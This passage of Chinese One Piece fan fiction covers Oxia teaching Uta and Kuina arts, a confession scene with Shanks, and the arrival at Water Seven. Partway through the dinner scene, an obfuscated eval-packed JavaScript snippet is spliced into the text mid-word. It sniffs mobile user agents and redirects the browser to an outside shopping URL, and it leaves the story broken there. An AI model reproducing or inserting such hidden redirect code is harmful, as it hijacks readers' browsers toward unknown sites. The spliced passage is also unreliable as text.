古伊娜赶紧转移话题，朝她伸出小拇指：“来，拉勾勾，我们比比看，谁的梦想先实现。” 小兔叽哼哼唧唧地跟她拉勾盖章：“输了的人要请对方吃放了好多~好多~奶油的烤薄饼哦~” “……只有你才会喜欢吃那种甜腻腻的东西吧?” “嘿嘿~” …… 想要成为大海上的第一歌姬，自身实力够强是一方面，经受过二十一世纪大数据洗礼的奥西娅也十分清楚有效营销的重要性。 不过现在谈这些还为时尚早，没有实力，再好的宣传策划也只是空中楼阁。 这个实力包括把歌唱好，又不止把歌唱好。 具体一点来看，就好比唱跳，它综合了演唱、舞蹈、灯光、妆造等等许多的艺术形式。 作为一种综合艺术，它在二十一世纪有多受欢迎就不用说了，可见一场演出的丰富性有多重要。 广泛一点来看，歌唱家对生活的感悟、对世界的认知、对美的体会，以及歌唱家本身的艺术修养，这些东西都会影响歌曲的最终呈现效果。 虽然不至于让小乌塔成为六边形战士，但这里面的道理奥西娅还是掰开了揉碎了讲给了小姑娘听。 小乌塔脑后两个像兔耳朵一样的辫子高高竖起，表示自己斗志昂扬！ 斗志昂扬这个词还是上节文化课里奥西娅教的。 奥西娅忍不住把可爱的小兔叽抱在怀里猛蹭，不得不说他们父女俩儿在某些方面真的很像，都是乐天派，开朗活泼，像一个小太阳。 香克斯深以为然：“小乌塔果然很随我。” 其他人：“……” “不，小乌塔是活泼开朗的可爱，你是活泼开朗的白痴，两者有本质上的区别。” 香克斯：“……” 他！要！闹！了！！！ 不理会又双叒叕闹起来的一群海贼，奥西娅和小乌塔手牵手去甲板上开始每天两个小时的舞蹈课。 …… 奥西娅教小乌塔跳舞的时候，香克斯他们如果闲着没事儿偶尔也会跟来围观。 海贼们唱歌跳舞最重要的是为了抒发他们自己的快乐，有没有观赏性、技巧性都是其次。 但每次看到奥西娅跳舞，他们就会意识到其实舞蹈本身也是具有生命力的，甚至是可以代替语言讲述故事的。 柳手鹤步，流云飞袖，暗香浮动，旋转时裙摆像花瓣那样层层叠叠地绽放，跳舞的人变成了天边云烟的延伸，轻盈飘渺，可望而不可及。 沉、冲、靠、含、腆、移、仰、出腿仰胸腰，小射燕托腮，这是技巧和身韵的盛宴，无可挑剔，令人心醉。 每一次，奥西娅演示舞蹈动作的时候，小乌塔的目光就粘在对方身上移也移不开。 “妈、月亮桑好漂亮，我也想跳得像她那样漂亮~” 古伊娜拍拍她的头，一副小大人的样子鼓励对方：“等你长大了，肯定能跳得跟森塞一样好看。” “嘿嘿~我到时候跳给你看！” “一言为定，其实森塞她舞剑也很好看。” 小兔叽疑惑：“舞剑?” 小兔叽兴奋：“剑也可以跳舞吗?！” 小兔叽跳起来脱口而出：“妈妈我也想看舞剑！” 小兔叽她爹：“咳咳咳咳咳咳！” 咳的特别刻意。 其他人嗤笑：死装。 奥西娅差点崴了脚，一个旋身稳住，随之从腰间抽出云澈，抛剑撩挂，挽剑花于飞旋。 原本柔美的舞姿变得刚柔并济，翩若惊鸿，婉若游龙，像书法里的瘦金体。 盘剑于头顶平绕一圈，干脆利落地回身蝎步点刺，一气呵成。 香克斯带头鼓掌。 奥西娅横了他一眼。 不像责怪，像带了羞恼的嗔怪。 明眸善睐，让他心头发痒。 误入眉眼，可叹惊鸿。 最美的就在这里。 (四) 但生活不是一帆风顺的，笨蛋总是会去找揍的。 今天早上，古伊娜终于学会了御剑飞行，可以操纵着井宿一宿升空。 俩个孩子兴奋地手舞足蹈，向奥西娅撒娇卖萌要吃芋圆撞奶庆祝。 奥西娅被两个小朋友逗的不行，当然不会拒绝。但她不过是去厨房煮个芋圆的功夫，再回来甲板上就看到古伊娜已经御剑载着乌塔飞到桅杆顶端上去了。 而香克斯正领着一帮海贼在下面给俩孩子加油鼓劲儿，还怂恿她们再飞高一点。 奥西娅：！！！！ 她把快要脱口而出的尖叫硬生生给咽了回去，生怕吓到两个孩子反而会出意外。 好在有惊无险。 奥西娅把两个孩子送回房间，回到甲板上，看着那群嘻嘻哈哈毫无悔改之心的海贼们，面无表情地抽出云澈。 这一天，海贼们终于意识到了奥西娅是一名货真价实的剑士。 这一天，红发海贼团从船长到干部差点被斩于剑下。 这一天，鼻青脸肿的海贼们抱头蹲在甲板上，在忏悔中终于明白了一个道理——会喷火的那种护崽母暴龙是真实存在的呜呜呜呜QAQ。 他们朝因为没有参与而逃过一劫的贝克曼挤眉弄眼：救命啊兄弟，给说点好话呗。 副船长还是十分靠谱的，轻咳两声，看向奥西娅：“那个……” 奥西娅扶着船舷上的栏杆，望向广阔的大海试图平复自己的情绪，但越想越生气。 尤其是古伊娜还背负着“十一岁左右可能会摔死”的死劫，虽然不知者无罪，但…… “咔嚓。” 风里来雨里去，始终完好无损的船舷栏杆就这么被捏碎了。 雷德·佛斯号：她真的好可怕呀QAQ。 “斯密马赛，等到了七水之都，我会找船工帮你修好的。” 她拍拍雷德·佛斯号的船舷，然后看向贝克曼：“有什么事吗?” “……” “没事。” 贝克曼的态度十分自然，转身去餐厅，“我去给你倒杯水，教训这群白痴辛苦了。” 香克斯：“……” 耶稣布：“……” 路：“……” 斯内克：“……” 本乡：“……” 莱姆琼斯：“……” 宾治：“……” 猛士达：“……” 大家的母语是无语。 好你个贝克曼，平时教训我们的时候倒是浓眉大眼的…… 香克斯打着哈哈起身：“西西，那个，你手疼不疼……” 然后又在奥西娅的注视下重新蹲了回去。 其他人：“……” 令人无语的东西又+1了。 耶稣布作为一个有儿子的人，在兄弟们‘海上勇士竟在我身边’的眼神中，勇敢为自己发声：“头儿和我们都看着呢，肯定不会让她们出事的。” 奥西娅也无语了：“……” 所以，男的带孩子主打一个“活着”就行? “既然有条件，那养孩子不是说只要让他们‘不出事’就万事大吉了。” 对上他们清澈愚蠢且求知的眼神，奥西娅叹气：“鼓励小朋友变得勇敢固然是好事，但你们不能放任她们把危险当作游戏玩，让她们失去本该有的警惕和敬畏之心。” “那不是勇敢，是鲁莽。” “你们在大海上冒险了这么久，难道还不明白鲁莽是多么可怕的一件事情吗?” “……” 几个海贼把视线偷偷移向香克斯……他们可太明白了。 香克斯立马瞪了回去。 意识到错误的一群海贼不自在地挠头摆手视线乱飘。 “原来养孩子这么麻烦啊，哈、哈哈，咳。” 奥西娅不是得理不饶人的类型，情绪缓和后也配合着转移话题，也确实是真的有点好奇：“那你们是怎么长大的?” 香克斯回想了一会儿，总结道：“跟着罗杰船长打打杀杀，冒险，抢财宝。” 贝克曼把水杯递给她，“吃饭，睡觉，看书，锻炼。” 本乡有些怀念：“小时候跟着老师学医术，一学就会，他总夸我是天才。” “我记得我第一次出海的时候才十岁，不懂航海，被风暴卷到了天上，还好后来掉进了水里。” 大家朝斯内克比大拇指，你还能活着也是奇迹。 斯内克摊手：“然后我就意识到了航海术的重要性，成为了一名航海士。” 路拍拍肚子，咧嘴一笑：“多吃点就长大了！” 宾治迟疑：“感觉跟别人打着打着就长大了。” 猛士达：“吱吱吱吱！” 宾治帮它翻译：“猛士达说他很小的时候妈妈经常背着他在树上荡来荡去。” 莱姆琼斯表情严肃：“我一生下来就是现在这副英俊潇洒的模样，没有经历过缺牙流鼻涕尿床的尴尬期。” “……” 大家异口同声：“你小时候尿床啊?” “你小时候不尿……呸！你们才尿床呢！！混蛋！！！” 沉默良久的耶稣布“嘶”了一声，虚心向奥西娅请教：“小孩子不是随随便便就长大的吗?” 奥西娅：“……” 乌索普没一弹弓打爆你的头可真是孝顺啊。 (五) 海风拂过甲板，轻轻拨动着草莓的叶片，当初的花骨朵已经开出了白色的小花。 古伊娜在附近练习着刚才课上奥西娅教的剑招，不远处是正在上国画课的小乌塔。 国画需要用到的毛笔、颜料和宣纸都是奥西娅自己做的，她纠正好乌塔的攥笔姿势，握着对方的小手提笔蘸取墨碟里的花青和藤黄。 混了两个颜色的柔软笔尖在宣纸上连续撇了几下，带着波浪褶皱的草莓叶片就跃然于纸上。 小乌塔的兔耳朵小辫一下子就竖了起来，紫罗兰色的眼睛里装满了小星星。 “妈妈，斯国一——！” 自从上次喊出了“妈妈”这个称呼，小乌塔就没再改过。奥西娅也没拒绝，谁能拒绝乖巧可爱的贴心小棉袄呢？ 奥西娅松开小乌塔的手，鼓励她自己试一下。 ……而且，她需要拒绝吗? 虽然古伊娜跟她认识的时间更长，但反倒是乌塔对她更加依赖一些。奥西娅想，这可能是出于小孩子对母亲天生的渴望。 古伊娜有疼爱自己的父母，奥西娅对于她来说是传道授业、值得敬佩崇拜的恩师。但乌塔不一样，奥西娅对于她来说，是缺席了好久好久的母亲。 她渴望奥西娅给予的母爱，渴望奥西娅给予的照顾，每天醒来第一件事就是去找奥西娅，连香克斯这个老·父亲都要往后靠一靠。 小兔叽屏气凝神，模仿着妈妈刚才带着她的落笔动作……然后，她看着宣纸上那滩看不出来是什么东西的绿色墨团，腮帮子气鼓鼓的，像含了两个小汤圆。 奥西娅没忍住伸手戳了戳。 小兔叽的“耳朵”耷拉下来，“妈妈……” 奥西娅轻咳两声，摸摸她的“兔耳朵”，哄道：“乌塔，去摘一片漂亮的草莓叶子回来好不好?” 小兔叽立刻蹦蹦跳跳地跑去摘叶子。 她目不转睛地看着奥西娅的动作，对方先用手帕把叶片表面擦干净，在墨碟里蘸了一下，然后往宣纸上一铺，再拿起来的时候，惟妙惟肖的草莓叶片就被拓印在了纸上，妙趣横生。 叶片被递到了她手边，小乌塔迫不及待地接过来往宣纸上一印，又一片草莓叶子出现在了第一片的旁边，挨得紧紧的。 小兔叽的眼睛弯成两道可爱的小月牙，仰头看向身旁的母亲：“妈妈，这样还算是画画吗?” 奥西娅帮她把有些当眼的刘海撩到脸侧，心里盘算着待会儿给孩子剪一下，反问道：“唱歌的时候，是想怎么唱就怎么唱开心，还是强逼你按照所谓的标准去唱开心?” “想怎么唱就怎么唱！超级——开心！” “那画画也跟唱歌一样呢~” “它跟唱歌跳舞一样，是你自己的表达和情感的输出。” “今天我们小乌塔的心情好了，想这么画，明天心情不好了，连笔都可以不用碰。” “今天觉得草莓好可爱，想画，明天又觉得天上云朵悠悠很好，也可以画。” “想画就画，不想画就不画，想怎么画就怎么画，色彩、明暗、结构、笔法呀都不重要。” “唱歌跳舞也好，画画书法也罢，妈妈希望这些东西的存在是能让你感到开心的，感到自由的，而不是反过来束缚你。” 上一世，唐月见享受着家族的倾力供养，也必须背负起家族的兴衰荣辱，大多数时候她的个人喜好和自由是要放在家族后面的。 每天练完医毒武学回来，还要跟着老师继续学习琴棋书画诗酒花茶，说实话，有些累。但在那样漫长的深宅旧日里，那些才艺诗情是她难得的放松，所以她还挺喜欢的。 后来为了维系唐家堡同蜀山的关系，唐月见以唐家嫡系子弟的身份拜师在清微尊者门下。她暂时“脱离”了家族，跟着师兄师姐在人间尘世行侠仗义、除魔卫道。 闲暇的时候她还跟着他们学了横笛和琵琶，那是完全出于她个人意愿去学的。后来为救雪见而死，则是她上一世唯一一次把家族抛之脑后的行为。 她像一只自由的飞鸟，从许多的责任、义务和背负里飞走了，飞到了这里。 奥西娅聚拢五个指尖，蘸了白颜料往宣纸上轻轻一点，那里就多了一朵娇憨可爱的五瓣草莓花。 乌塔学着她的样子，在那朵“大草莓花”的周围点了一圈“小小的草莓花”，然后扑到她怀里咯咯直笑。 没错，就是这样。 奥西娅摸摸小乌塔的头，她希望她的孩子们学习这些东西的时候是完全出于个人意愿的，是快乐的，是轻松的，她希望他们生下来就是那只自由的飞鸟。 哦，PS一下，像艾斯那种厌学情绪的“非个人意愿”不算数，他不学也得学，不学揍死他。 阳光倾洒在母女二人的身上，梦幻的不可思议。 餐厅的窗台上扒着一排人…… 本乡：“嘶……这母爱的光辉快要把我给闪瞎了。” 路：“我终于知道小乌塔为什么说我做不出奥西娅的那种味道了，是妈妈的味道啊。” 莱姆琼斯：“我也想管奥西娅叫妈妈。” “……” “……” “……” 大家用异样的眼神注视他。 Bro，你这个发言过于炸裂了。 莱姆琼斯炸毛：“难道你们不觉得奥西娅她很有妈妈的感觉吗?！！！” 他掰着指头数：“很会关怀人、很会鼓励人、做饭很好吃、不知道要怎么办的事情去找她，她总会有办法，小孩子也都很喜欢她，还有……” 路帮他补充：“她揍人跟我老妈一样疼。” 莱姆琼斯使劲儿点头：“所以这不是妈妈是什么?” 其他人沉默：“……” 即便你说的很有道理，但这也不是你变智的理由。 变智＝变态+智障。 香克斯突然长叹一口气：“唉……” 首先，他能理解小乌塔有了妈妈很开心。 其次，他也能理解古伊娜对老师的崇拜。 最后，他申请合理分配霸、和西西相处的时间，比如他占四分之三，乌塔和古伊娜占四分之一。 “唉……” 大家：“有屁快放。” 香克斯瘪嘴：“西西把精力都放在乌塔她们身上了。” 大家已读乱回，看热闹不嫌事儿大。 “头儿，你也学乌塔去管奥西娅叫妈妈，我保证她肯定会把精力都转移到你身上。” “是啊，把精力都转移到怎么给头儿治脑子病上了。” “噗——哈哈哈哈我附议！” “可就算头儿不叫奥西娅妈妈，他也还是笨蛋吧?” “头儿，你觉得呢？” 香克斯觉得他想把他们都杀了：“喂！我可是船长！！！” 他们“哦”了一声继续讨论。 “说起来，本乡你还没研究出那种能治脑子的药吗?” “都说了没有那种药，笨蛋是没救的。” 旁边的贝克曼翻过一页报纸，他真觉得他们船上的人挺有意思的。 笨蛋们凑在一块笑话他们的笨蛋头子。 就离谱。 要是真有那种能治好笨蛋的药，他肯定买来给他们吃，花多少钱都得给他们治好了。 …… 晚饭时间，奥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111796|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西娅没在餐厅看到香克斯，她环顾了一周，想问一下大家他去哪了。 贝克曼默默举高手里的报纸不跟她对视。 耶稣布转着脑袋看天花板看地板看桌面，“啧啧”感慨：“我最近这个脖子啊……” 路腾地起身跑向厨房：“我突然想起来锅里还闷着汤！” 奥西娅的视线落在了莱姆琼斯身上，莱姆琼斯瞬间坐得笔直：“奥、奥西娅，你怎么这个时候来餐厅了?” 奥西娅：“……” 其他人：“……” 这话说的，饭点不来餐厅去哪儿? “我们……哈哈哈我们什么坏事都没呜呜呜！” 斯内克把炸鸡腿塞进莱姆琼斯的嘴里，一副要趁机噎死对方的架势：“多吃点！你肯定饿坏了吧！” 奥西娅：? 她看向宾治，“香克斯呢?” “啊?头儿，啊，啊……他，头儿他，唉?头儿他人呢？怎么不在餐厅啊?” “哈、哈哈，那个，奥西娅，我也才刚刚发现呢！” 她深深地看了宾治两眼，看得对方光头上冒出一层又一层的虚汗。 耶稣布赶紧踢了本乡的凳子一脚。 本乡低着头嘟囔：“头儿他@#$%^&**%# 。” 奥西娅：“什么?” “……” 本乡在心底跟自己的医德挥手作别，深吸一口气，抬头看向她，一副正在英勇就义的口吻：“头儿说，他！身！体！不！舒！服！” 奥西娅心中一凛：“难道是在空岛受的伤留下了后遗症?” 本乡面无表情：“嗯，大概吧。” 她坐不住了：“我去看看他！” “唉?等、等下！奥西娅！别急啊！” “吃完晚饭再去呗！” “头儿他真没事儿！” 奥西娅对身后的挽留充耳不闻，反而小跑起来。 大家都瞒着她? 那一定很严重！ 小乌塔也很担心，想跟着一起去，却被贝克曼一把按在了凳子上，对方拍拍她的头：“放心，头儿他得了一种奥西娅去过看就能痊愈的病。” 乌塔：??? 大人的世界好复杂，居然还有这么奇怪的病。 路两手空空地回到餐厅：“头儿真的不会被奥西娅打死吗？” 贝克曼帮两个孩子摘出鱼肉里面的刺，哼笑：“打死活该。” (六) 另一边，奥西娅已经到了船长室门口，她抬手在房门上轻敲了两下，“香克斯，本乡说你身体不舒服，我可以进来看一下吗？” 里面没有回应。 她担心出事，直接推门而入，然后就看到了正躺在床上的香克斯。 对方见到她来似乎很惊讶，强忍咳嗽笑着打招呼：“咳、西西，你怎么来了?” 果然，她就知道一定有问题。 奥西娅疾步走到床边去摸他的额头，倒是没有发烧。 香克斯蹭蹭她的掌心，正准备说点什么，但下一秒，奥西娅的动作让他整一个垂死病中惊坐起。他着急忙慌地按住她解他衬衫扣子的手，感觉全身的血液都蹭蹭往脑门上冲。 “西、西西?” 奥西娅听到了他凌乱的呼吸，也看到了他慌张的神色，但她并没有因此停下手里的动作。 “西西，西西，真不是什么严重的伤……你之前不是已经看过了吗？早就没事了。” 确实，诚如本乡说的“头儿的恢复速度就跟怪物一样”。当时，回到营地后不出两天，香克斯背后的伤口就结痂了。 离开空岛前，她还帮他检查过一次，那时候的伤口已经完全愈合，只留下来一道狰狞的伤疤。 他总是说没事没事，可如果真的没事，为什么他现在还会身体不舒服呢? 香克斯刚说完了一句，就感觉到对方手上的动作重了一些，奥西娅生气了……他硬生生将后面的话全部咽了回去，安静地看着她一颗一颗地解开他的扣子。 衬衫很快就被奥西娅从他身上扒下来，露出了在无数战斗中锤炼出来的完美肌肉。 但奥西娅现在没心情欣赏，着急去检查他背后的伤口。 浅于肤色的疤痕从右肩一直延伸到左腰，斜跨了整个后背。虽然香克斯一直说什么“伤疤是海贼的勋章”，可奥西娅还是在为这件事感到隐隐的生气和难过。 生气他不把自己的身体当回事。 难过是自己让他受的伤。 香克斯有些耐不住这样凝重的氛围，放轻声音去喊她：“西西?” 奥西娅没有回答，伸出指尖轻轻摸在伤疤周围的皮肤上，来回滑动摩挲，检查里面有没有当初没清理出来的异物。 明明是温凉的触感，却让香克斯感觉有如火烧，他的呼吸逐渐急促起来，身体有些僵硬地稍稍前倾，想要躲开背上的手指。 “那个，西西……你和本乡配的药膏很好用，真的已经没事了，不用再……” 奥西娅干脆利落地拒绝：“不许动。” “……” 过了一会儿，香克斯的脸色变得越来越不自然，燥意在蠢蠢欲动，“……西西，还、还没检查好吗?” “别急。” 香克斯：“……” 度秒如年。 好半晌，奥西娅终于检查完后背，确认没什么问题后，她伸手探向香克斯的手腕，打算把脉看看，却被对方错开。 在奥西娅检查完后背想要转到前面来的瞬间，香克斯飞快扯过一旁的被子盖在大腿上方，却不料错开了对方的手。 但情况紧急，奥西娅不是不能理解。 她跟满脸尴尬苦逼的香克斯对视一秒，然后迅速移开视线，本来伸向对方的手僵硬地换了个方向，手腕轻抬，用广袖遮住了自己想笑但笑出来实在不太友好的唇角。 香克斯郁卒。 他悄咪咪抬眼去看奥西娅，却不期然对上了她露在广袖外的一双眼睛。 眸光潋滟，顾盼生辉，仿佛什么都说了，又仿佛什么都没说。 偷看被抓包，奥西娅赶紧抬高手腕，让袖子连眼睛也一起遮住。 过了一会儿，广袖后面传来她有些磕绊的声音：“那个，你、你伸一下手，我、我把脉检查一下。” 香克斯盯着那个掩耳盗铃的人，嗓音暗哑：“还检查?” “……” 她轻轻“嗯”了一声。 下一秒，她举着的手腕被人突然握住一拉，奥西娅跌进了一个炙热的怀抱里。 “西西……” 香克斯见她一点挣扎都没有，有些泄气：“你也太相信我了吧?” 奥西娅侧坐在他的腿上，看了他一眼又赶快移开视线，小小声：“你是船长嘛。” 香克斯哽住：“……” 船长怎么了？ 船长就没有JJ吗?！ 船长就不会动坏心思吗?！！！ 有贼心没贼胆的“坏船长”被弹了个脑崩儿。 “伸手。” 香克斯：“……” 他只好不情不愿地伸出手腕。 奥西娅把了半天脉，左右两只手轮着把，最后得出来一个结论——香克斯的健康程度足以击败OP世界99.99999999％的人口。 空气安静的令人窒息。 她看向香克斯。 香克斯看向天花板吹口哨。 “哎哎哎！西西，西西，好痛，好痛的好痛的真的好痛的！” 奥西娅“哼”了一声，松开他的耳朵。 “西西~” 香克斯想去拉她的手，却被对方推开。 奥西娅双臂环在胸前，又“哼”了一声。 “咳。” 香克斯努力压住上扬的嘴角，只觉得她好可爱。 “西西?” 手臂环上她的腰间，试探着将人抱进怀里，见奥西娅这次没再推开他，香克斯立刻顺杆往上爬，俯身把下巴搭在人家的肩膀上蹭了蹭。 见对方还是不理他，就又蹭了蹭。 “西西……” 委屈巴巴的，像一只沉迷于吸小猫但小猫不乐意跟他一块玩儿的大狗狗。 本来铁了心不要搭理他的奥西娅：“……” 这谁顶得住啊? “西西，你魅力太大了，乌塔她们老爱缠着你。” 一句话被他拐了十八个弯儿，奥西娅差点没能把脸继续板下去。 ……她最近好像是有点、有些，好吧，是大多数时间都用来陪两个小朋友了，就忽略了香克斯。 不过…… 热乎乎的呼吸扑到她侧颈的肌肤上，奥西娅缩缩脖子，语气半真半假：“就算我每天都跟孩子们待在一起，那和你又有什么关系呢?” 香克斯：“……” 香克斯：??? 香克斯：！！！ 香克斯一下子挺直腰板，身体僵硬的奥西娅坐着都嫌硌得慌，他眼里的不可置信都要溢出来了，仿佛在说“你这个玩弄少男纯洁感情的渣滓”。 奥西娅移开视线，她只是……忽然觉得有些不太真实感。 她跟香克斯真的在互相喜欢吗? 他们真的有在一起吗？ 他们真的是因为彼此喜欢所以才在一起的吗？ 横跨次元，穿越时空，跟自己最喜欢的人因为相互喜欢而在一起……真的假的? “我只是感觉有些不可思议。” “不可思议?为什么?” 香克斯不傻，相反，这个人聪明的一批，在二十一世纪被评为《海贼王》里最让人琢磨不透的男人。 闻言，他立刻反应过来，有一种心脏骤停后又能重新跳动的错觉，“是不可思议我们，咳，我们在一起吗？” 奥西娅点头，她看向他：“你好像从来没有对我说过……” 剩下的四个字奥西娅没有说出来，只是伸出削葱似的手指在他心脏的位置点了点。 “……” 见对方似乎愣住了，她又点了点，但下一秒，手指就动弹不了了。 手被人牢牢握住，他的掌心滚烫。 “西西……你是知道的，我，嗯你，你想、你想听?” 香克斯的声音听起来有些干涩，仿佛只是说出这样一句意味不明的话，就已经用了很大的力气。 被握住的那只手依然贴在他心口的位置……扑通扑通扑通扑通扑通。 他的心脏在鼓动，而且越来越快。 他在…… 害羞? 那个能死皮赖脸要搂搂抱抱的人？ 只因为一句没有说出口的“喜欢”? 真的是…… 搞得她都有些不好意思了。 绵麻的痒意从心头蔓延到全身。 这样的香克斯，让她有亿点点心动。 扑通扑通扑通。 扑通扑通扑通扑通扑通。 她逐渐分不清这是谁的心跳。 在那个塑造了她三观和人格的世界里，想要证明两个人是夫妻关系，需要出示结婚证。 现在的这个世界，法律远没有二十一世纪那样完善和健全。在这里，一张结婚证的法律效益可能还不如一张海贼的悬赏令。 但尽管如此…… 想要证明两个人真的在一起了，那至少需要一句确切的话吧? 不是朦胧的暧昧，而是因为互相喜欢，所以在一起了。 奥西娅使劲点头：“想听。” “……” 搂在她腰间的手臂不断收紧，让两个人贴得毫无缝隙，奥西娅有些喘不上气来，可她反而抬手环住了香克斯的肩膀，想要加重了这个拥抱。 他低头与她额头相抵。 “西西。” “嗯。” “我……” 凑得这样近，两个人的呼吸都交织在了一起，奥西娅能清楚地看到香克斯愈发涨红的脸颊，也能从那双酒红色的瞳孔里看到同样红彤彤的她自己。 他注视着满面红霞的她，下定决心…… “我喜欢你。” “想要和你一直在一起。” 喉结不受控制地滚动，香克斯这才意识到“自然而然”的分量的确太轻了，还远远不够。 “所以，奥西娅，你愿意和我一直在一起吗?” 他也想得到她明确的答复，要是再被质疑一次“那和你又有什么关系呢”，香克斯觉得他可能会原地爆炸。 如果奥西娅感觉害羞，那她只要点点头就可以。 只要点点头，他就能…… “我会和香克斯一直在一起。” “唉?” 香克斯愣住，心里的小九九被对方干净利落的告白给冲地七零八落。 温软的吻像羽毛一样轻轻落在了他的唇角，香香的、虔诚而不带任何情欲的。 “因为我最喜欢香克斯了。” “……” 香克斯的大脑：脑脑我呀，彻底宕机了~ 奥西娅说完就拉开距离，想要从他腿上起来。但香克斯的反应更快，马上收紧了搂在她腰间的手臂，“等下等下等下！” “西西，再说一遍?” “……不要。” 奥西娅觉得她面上的温度越来越烫，拍拍腰间的手：“松开，我还没有吃晚饭呢。” 香克斯：“……” 他只好松开她。 腰上的手一松开，奥西娅就立刻从他怀里起来，飞速往门外跑。 香克斯捞过床上的衬衫赶紧追上去，一边扣扣子，一边追在奥西娅身边喋喋不休，“西西，再说一遍好不好?” “就一遍！” 他一下子就共情了亚弗戈蒙，“要不我们现在调头回空岛去找几个音贝吧?” “西西?” “西西！” “你等等我，你理我一下嘛！” “西西西西西西西西西西西西西西西西西西……” 17.第 17 章 （一） “岛屿！！！” “看到岛屿啦！！！” 海鸥的翅膀划过天际，天空之下，雷德·佛斯号船帆猎猎，在蔚蓝的大海上破浪前行。 一座类似于水上威尼斯但更加“压不住牛顿棺材板”的城市出现在大家视野里。 “哇哦——！斯国一！！我还是第一次见到这么大的喷泉！！！” “确实……这里的喷泉未免也太大了吧?！” “好漂亮的城市！” 雷德·佛斯号离口岸越来越近，香克斯选择在五号船坞停靠。 据说，那里有他的一位老朋友。 但说是船坞，其实更像是一处废船厂，船骸和废铁堆积出好几座小山，表面又被潮湿的沙子和泥土掩埋，甚至还挂着各种奇怪生物的尸体。 贝克曼弹掉烟灰，淡淡感慨：“看来水之诸神先到了一步，没有凑在一起，算咱们好运。” 船刚靠岸，梯板还来不及放下，香克斯就打横抱起奥西娅迫不及待地从船舷上跳了下去。 “西西，走了！” 奥西娅赶紧环住他的肩膀，好笑道：“这么着急做什么？” 香克斯只是笑。 一个高大的男人大笑着朝岸边走来，“嗟哈哈哈响当当地就来了吗？香克斯！” 对方的皮肤呈淡黄色，笑起来会露出锋利的牙齿，头上还长着两只短角，是一名牛角鱼人。 那位是…… 奥西娅的眼睛微微瞪大。 动漫中，弗兰奇回忆里的那个身影跟岸边上的男人逐渐重合在一起。 是弗兰奇……不，现在应该叫他弗兰姆。 是弗兰姆的师父，为海贼王哥尔·D·罗杰造出梦想之船奥尔·杰克森斯号的世界第一的船匠，鱼人汤姆！ 香克斯先找了块干净的地方把奥西娅放下，然后就像块牛皮糖那样整只扒到了汤姆身上斯也撕不下来。 “哈哈哈好久不见！汤姆桑，列车完成了吗？” “海上列车吗？说什么傻话。” “不过设计图已经响当当地画完了，通车以后一定要来试坐一下啊，嗟哈哈哈哈哈!” 故友重逢总是令人激动的，船上的大家跟着香克斯跳下船后，体贴地没凑上去打扰他们。 两个孩子一左一右抱着奥西娅的腿，朝香克斯那边好奇地探头探脑。 斯国一！这还是她们第一次见到鱼人，真的超级超级高大哎！！！ 期间，香克斯还指着他们的方向兴奋地说了些什么，应该是在介绍红发海贼团的成员，然后那位汤姆桑就乐呵呵地朝他们招了招手。 平时大大咧咧的一帮海贼稍显拘谨地朝对方弯了弯腰问好，毕竟是船长的长辈。 香克斯笑容满面地朝奥西娅招手，奥西娅就牵着两个孩子向他们走去。 来到香克斯身边，奥西娅双手交叠在腹部向汤姆微微弯腰颔首，脸上带着得体的笑容：“初次见面，汤姆桑，我是奥西娅。” “初次见面，我是船工汤姆！” “还有两个小家伙，你们好啊嗟哈哈哈！” 来到汤姆面前，更能直观地感受到对方的高大，即使他弯下腰笑容很和蔼地和两个孩子打招呼，她们还是下意识抱住奥西娅的腿往后躲了躲。 奥西娅有些无奈地摸摸两个孩子的头，“斯密马赛，汤姆桑，她们比较怕生。” “呆胶布呆胶布！” 在奥西娅的安抚下，古伊娜和乌塔探出头来朝汤姆露出两个腼腆的笑容，甜滋滋的。 “嗟哈哈哈哈哈！” 他揉揉两个孩子的头，直起身看向香克斯：“既然你们来了这里，肯定是来修船的吧?” “是啊，我们从很高的地方掉下来了！” “你们也去空岛了吗？真是令人怀念啊！” 香克斯捶了一下自己的胸膛，笑的很灿烂：“‘响当当地’就去了！” “不过之后就响当当地掉进海里了，是吗?” “是啊哈哈哈哈哈!” “还是一群吵闹的家伙啊。” “好久不见啊，可可罗婆婆！” 一位柠檬黄卷发的苗条婆婆朝这边走来，奥西娅有一瞬间的沉默。 十几年前的可可罗婆婆原来属于纤细挂的吗？ “得让你们好好跟我说说旅行的见闻啊。” “不过在那之前，先垫垫肚子怎么样？我已经准备好了呢。” “哈哈哈哈哈那就打扰了！” （二） 红发海贼团决定在七水之都停留一段时间。 一方面，汤姆精心检修后，发现雷德·佛斯号有多处损耗。在进入新世界以前需要对船进行翻新和加固，毕竟在之后的航行中，堪比“水之诸神”的灾难比比皆是。 另一方面，大家也正好趁此机会帮汤姆的海上列车计划多收集些矿石材料，算是当做还对方说什么也要免费为他们修船的情分。 而且“水之诸神”过后留下来的海盐的品质非常特别，路想要收集一些，用奥西娅教的方法腌制肉类试试，这样储存起来也更加方便。 按照以往的惯例，为了避免引发骚乱，红发海贼团往往会选择偏远些的酒馆作为据点，把整家包下来入驻，这次也一样。 酒馆分为上下三层，上两层是旅馆，下一层是酒馆餐厅，很方便海贼们入驻后的生活。 入夜，奥西娅站在阳台上，看着天上的月亮一点点从云层里探头出来。 她身边放着一个小竹篮，里面叠着两套缝制完成的唐制抹胸小襦裙。一套蓝色系，一套红色系，跟两个小姑娘的发色很般配。 毕竟奥西娅身上的汉服那么好看，哪个小姑娘能不心动呢？但对于两个小家伙来说，最重要的是可以跟森塞/妈妈穿一样的衣服！ 皎洁的月光洒落在阳台外的街道上，月光如水，显得这个夜晚十分幽静。 奥西娅出神想着，出海前，她估摸着家里三个孩子的长高速度，分季节做了起码三年内都能替换的衣服交给了达旦，也不知道他们穿着合不合身？ 毕竟小孩子一天一个样，长得快极了，衣服稍微做小一点，一周后都穿不了。 慈母手中线，游子身上衣。 临行密密缝，意恐迟迟归。 有些道理反过来讲也是一样的重量。 一条有力的胳膊从背后揽住她的腰肢，将奥西娅整只圈进了自己的怀里。 奥西娅放松地靠在身后的胸膛上，“已经忙完了吗?” 